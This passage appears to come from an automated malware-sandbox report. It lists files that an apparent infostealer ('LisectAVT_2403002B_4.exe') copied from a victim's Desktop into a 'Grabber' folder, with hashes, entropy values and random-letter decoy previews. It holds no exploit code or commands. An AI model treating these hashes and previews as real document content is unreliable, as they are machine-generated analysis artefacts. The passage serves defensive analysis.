Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EFOYFBOLXA\PALRGUCVEH.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EIVQSAOTAQ.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692024230831571
Encrypted:	false
SSDEEP:	24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
MD5:	086908C2D2FAA8C9284EAB6D70682A47
SHA1:	1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
SHA-256:	40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
SHA-512:	02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
Malicious:	false
Preview:	EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EOWRVPQCCS.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EOWRVPQCCS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EWZCVGNOWT.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690071120548773
Encrypted:	false
SSDEEP:	24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
MD5:	8F49644C9029260CF4D4802C90BA5CED
SHA1:	0A49DD925EF88BDEA0737A4151625525E247D315
SHA-256:	C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
SHA-512:	CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
Malicious:	false
Preview:	EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GIGIYTFFYT.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB\EIVQSAOTAQ.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692024230831571
Encrypted:	false
SSDEEP:	24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
MD5:	086908C2D2FAA8C9284EAB6D70682A47
SHA1:	1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
SHA-256:	40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
SHA-512:	02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
Malicious:	false
Preview:	EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB\EOWRVPQCCS.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
